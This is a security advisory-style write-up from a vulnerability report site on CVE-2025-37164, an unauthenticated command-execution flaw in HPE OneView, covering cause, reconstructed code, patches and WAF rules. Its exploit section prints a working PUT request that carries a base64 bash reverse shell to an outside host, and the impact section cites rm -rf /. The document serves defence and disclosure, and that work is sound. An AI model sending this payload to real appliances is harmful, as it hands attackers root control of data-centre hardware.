CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2025-37164

HPE OneView RCE: One View to Rule Them All (and the Shell)

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 23, 2026·6 min read·64 visits

Executive Summary (TL;DR)

Unauthenticated RCE in HPE OneView versions prior to 11.00 via the `/rest/id-pools/executeCommand` endpoint. Attackers can send a simple JSON request to run arbitrary shell commands with high privileges. CVSS 10.0. Active in CISA KEV. Patch immediately.

HPE OneView, the 'God Mode' console for managing enterprise hardware, shipped with a debugging endpoint so spectacularly insecure it borders on satire. CVE-2025-37164 is an unauthenticated Remote Code Execution vulnerability that allows anyone with network access to execute arbitrary shell commands as root. No credentials required, no complex memory corruption—just a simple JSON payload sent to an API endpoint that arguably should never have existed in production. It is currently being actively exploited in the wild.

The Hook: God Mode for the Datacenter

In the world of enterprise infrastructure, HPE OneView is the crown jewel. It is an infrastructure management appliance—software that controls the physical hardware. It manages servers, storage arrays, and networking fabrics. It spins up bare-metal servers, configures firmware, and handles the cooling. If you control OneView, you don't just own a server; you own the building blocks of the data center.

Usually, breaking into an appliance like this requires a complex chain: bypass the login, find a memory leak, corrupt the heap, and pray the ROP chain holds together. It's an art form.

But CVE-2025-37164 is not art. It is a tragedy. It turns out that while security teams were busy hardening the front door with MFA and VPNs, the developers left a side window wide open. Specifically, a REST API endpoint designed to execute shell commands was left accessible without authentication. It's the digital equivalent of a bank vault that opens if you just ask nicely.

The Flaw: A Debugger's Ghost

The vulnerability lies in the API endpoint /rest/id-pools/executeCommand. If you are a developer, the name alone should make your blood run cold. Why does an endpoint named executeCommand exist in a production REST API? And why is it exposed to the internet?

This endpoint appears to be a vestige of testing or internal debugging functionality that was never stripped from the release build. The application logic fails to perform two critical checks:

  1. Authentication: It does not verify if the user is logged in. The Spring Security (or equivalent filter chain) configuration for this specific path was either missing or explicitly set to permitAll.
  2. Input Sanitization: It takes a user-supplied string and passes it directly to a system shell execution context.

This is a textbook Command Injection (CWE-78), but it's actually worse. Usually, command injection involves tricking a legitimate utility (like ping or grep) into running extra commands via delimiters like ; or &&. Here, the endpoint isn't a wrapper for a utility; it is a direct interface to the shell. You aren't injecting a command; you are simply requesting one.

The Code: The Smoking Gun

While the exact proprietary source code isn't public, the behavior of the endpoint allows us to reconstruct the vulnerable logic with high certainty. It likely resembles a standard Java Controller handling a PUT request.

The Vulnerable Logic (Reconstructed):

@RestController
@RequestMapping("/rest/id-pools")
public class IdPoolController {
 
    // VULNERABILITY: No @PreAuthorize check here!
    @PutMapping("/executeCommand")
    public ResponseEntity<String> execute(@RequestBody CommandRequest request) {
        try {
            // THE HORROR: Direct shell execution of user input
            Process p = Runtime.getRuntime().exec(request.getCmd());
            p.waitFor();
            return ResponseEntity.ok("Command executed.");
        } catch (Exception e) {
            return ResponseEntity.status(500).body("Error");
        }
    }
}

The Fix:

HPE's remediation wasn't just to fix the code; they effectively nuked the endpoint. In the hotfix and version 11.00, the routing to this path is removed or blocked entirely. If you cannot remove the code, the standard mitigation in code would be:

// MITIGATION: Remove the endpoint or secure it
@PreAuthorize("hasRole('ADMIN')") // 1. Require Auth
@PutMapping("/executeCommand")
public ResponseEntity<String> execute(@RequestBody CommandRequest request) {
    // 2. Validate input against a strict allowlist
    if (!ALLOWED_COMMANDS.contains(request.getCmd())) {
         throw new SecurityException("Nice try.");
    }
    // ...
}

The actual patch deployed by HPE involves an HTTP rewrite rule to reject requests to this URI before they even hit the application logic, which is a faster way to stop the bleeding without recompiling the massive OneView JARs.

The Exploit: Root in One Request

Exploiting this is trivially easy, script-kiddie friendly, and highly reliable. The attacker only needs to send a PUT request. However, there is a small catch: the JSON parser and the underlying shell execution environment can be finicky about spaces and quotes.

The Attack Chain:

  1. Target Selection: Identify the OneView instance (usually port 443).
  2. Payload Construction: The payload is a JSON object {"cmd": "<COMMAND>"}. To bypass potential whitespace issues in the Runtime.exec tokenizer, attackers often use the Internal Field Separator (${IFS}) or base64 encoding.

The Exploit Request:

PUT /rest/id-pools/executeCommand HTTP/1.1
Host: target-oneview.local
Content-Type: application/json
 
{
  "cmd": "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}",
  "result": false
}

In the example above, the attacker sends a base64 encoded reverse shell (bash -i >& /dev/tcp/10.0.0.1/4444 0>&1) to avoid dealing with special characters. The server decodes it and executes it, granting the attacker an interactive shell.

> [!NOTE] > Re-exploitation Potential: Even if the endpoint is blocked, researchers will likely look for other endpoints in the /rest/id-pools/ controller. Often, if a developer forgets auth on one method in a controller, they forgot it on the whole class.

The Impact: Game Over

Why is this a CVSS 10.0? Because OneView is an infrastructure concentrator.

  1. Confidentiality: The attacker can dump the database containing credentials for all managed devices (iLOs, OA, interconnects). They now have keys to every server in your rack.
  2. Integrity: They can flash malicious firmware onto network cards or BIOS, creating a persistent backdoor that survives OS reinstalls (a "bootkit").
  3. Availability: rm -rf / on the OneView appliance causes a management blackout. Worse, they could script the power-off sequence for every connected blade server.

Since this is being actively exploited (CISA KEV), ransomware groups are likely using it as an initial access vector to encrypt the management plane before moving laterally to the production data.

The Fix: Stop the Bleeding

If you are running OneView older than version 11.00, you are currently exposed. The remediation path is straightforward but urgent.

Immediate Actions:

  1. Upgrade: Move to HPE OneView 11.00 or higher immediately. This version removes the vulnerability entirely.
  2. Hotfix: If you cannot do a full version migration (perhaps due to hardware compatibility), apply Hotfix Z7550-98077. This is available for versions 5.20 through 10.20.

Defense in Depth:

If you cannot patch right this second, you must block the attack vector at the network layer. Configure your WAF or load balancer to drop any request matching:

  • Method: PUT
  • URI: /rest/id-pools/executeCommand

Unlike many complex deserialization bugs, this one is easy to signature. Do it now, or explain to your CISO why the datacenter just went dark.

Official Patches

HPEOfficial Security Bulletin HPESBGN04985

Technical Appendix

CVSS Score
10.0/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
EPSS Probability
86.43%
Top 1% most exploited

Affected Systems

HPE OneView < 11.00HPE OneView for VMware vCenterHPE OneView for Microsoft System Center

Affected Versions Detail

Product
Affected Versions
Fixed Version
HPE OneView
HPE
< 11.0011.00
AttributeDetail
CWE IDCWE-78 (OS Command Injection)
CVSS v3.110.0 (Critical)
Attack VectorNetwork (Unauthenticated)
ImpactTotal System Compromise (Root RCE)
Exploit StatusActive / Weaponized
EPSS Score86.43%
KEV StatusListed (2026-01-07)

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059.004Command and Scripting Interpreter: Unix Shell
Execution
T1210Exploitation of Remote Services
Lateral Movement
CWE-78
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Known Exploits & Detection

MetasploitMetasploit module providing automated RCE
GitHubPython proof-of-concept exploit script
NucleiDetection Template Available

Vulnerability Timeline

Vulnerability Published by HPE
2025-12-16
Rapid7 Analysis & Metasploit Module Released
2025-12-18
Added to CISA KEV Catalog
2026-01-07
Large-scale exploitation reported by Check Point
2026-01-15

References & Sources

  • [1]Rapid7 Analysis
  • [2]Check Point Research: Active Exploitation Report

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•42 minutes ago•GHSA-8R6M-32JQ-JX6Q
8.7

GHSA-8R6M-32JQ-JX6Q: XML Entity Expansion Bypass in fast-xml-parser via Repeated DOCTYPE Declarations

A Denial of Service (DoS) vulnerability has been identified in the Node.js XML parsing library fast-xml-parser. The flaw allows unauthenticated remote attackers to cause severe CPU exhaustion, event-loop blocking, and system crashes by sending a crafted XML payload containing repeated DOCTYPE declarations that bypass recursive entity expansion protections.

Amit Schendel
Amit Schendel
1 views•8 min read
•about 2 hours ago•GHSA-F88M-G3JW-G9CJ
8.5

GHSA-F88M-G3JW-G9CJ: Multiple Memory Safety and Integer Overflow Vulnerabilities in libvips affecting sharp

The high-performance Node.js image processing library sharp inherits several high and medium-severity security vulnerabilities from its underlying native dependency libvips. These include integer overflows in dimensions calculation, heap-based buffer overflows in GIF/TIFF and JPEG2000 processing, and out-of-bounds reads in the EXIF directory decoder, enabling denial of service and potential code execution.

Amit Schendel
Amit Schendel
1 views•7 min read
•about 3 hours ago•CVE-2026-16221
7.5

CVE-2026-16221: Interpretation Conflict leading to Host Confusion and SSRF Bypass in fast-uri

An interpretation conflict (CWE-436) exists in fast-uri due to differing handling of backslash characters between RFC 3986 and the WHATWG URL specification. This differential allows remote attackers to bypass SSRF filters and origin-allowlist protections when fast-uri is used in conjunction with WHATWG-compliant HTTP clients like Node.js native fetch or undici.

Amit Schendel
Amit Schendel
3 views•8 min read
•about 4 hours ago•CVE-2026-59889
6.5

CVE-2026-59889: @JsonView Bypass for @JsonUnwrapped Properties during Deserialization in jackson-databind

An authorization bypass vulnerability exists in FasterXML jackson-databind versions 2.18.x up to 2.18.8 (and other release branches) where the active @JsonView constraint is bypassed during the deserialization of properties marked with @JsonUnwrapped. This allows remote, authenticated attackers to alter restricted administrative properties on server-side objects by injecting flattened parameters into standard JSON payloads.

Alon Barad
Alon Barad
7 views•9 min read
•about 5 hours ago•CVE-2026-58426
9.6

CVE-2026-58426: Cryptographic Boundary-Shifting in Gitea Actions Artifacts

CVE-2026-58426 is a critical security vulnerability in Gitea Actions where improper signature serialization allows an authenticated attacker to execute a canonicalization (boundary-shifting) attack. By rewriting query parameters while keeping the signature intact, the attacker can bypass access control checks to read private workflow artifacts or modify concurrent task upload states.

Alon Barad
Alon Barad
7 views•6 min read
•about 6 hours ago•GHSA-2F96-G7MH-G2HX
8.8

GHSA-2F96-G7MH-G2HX: Command Injection Bypass in GitPython Options Validation

GitPython prior to version 3.1.51 contains a command injection vulnerability due to flaws in its option validation routine. By exploiting Git's native argument parser behavior, specifically long-option abbreviation resolution and short-option clustering, attackers can bypass the check_unsafe_options blocklist to execute arbitrary OS commands.

Amit Schendel
Amit Schendel
5 views•5 min read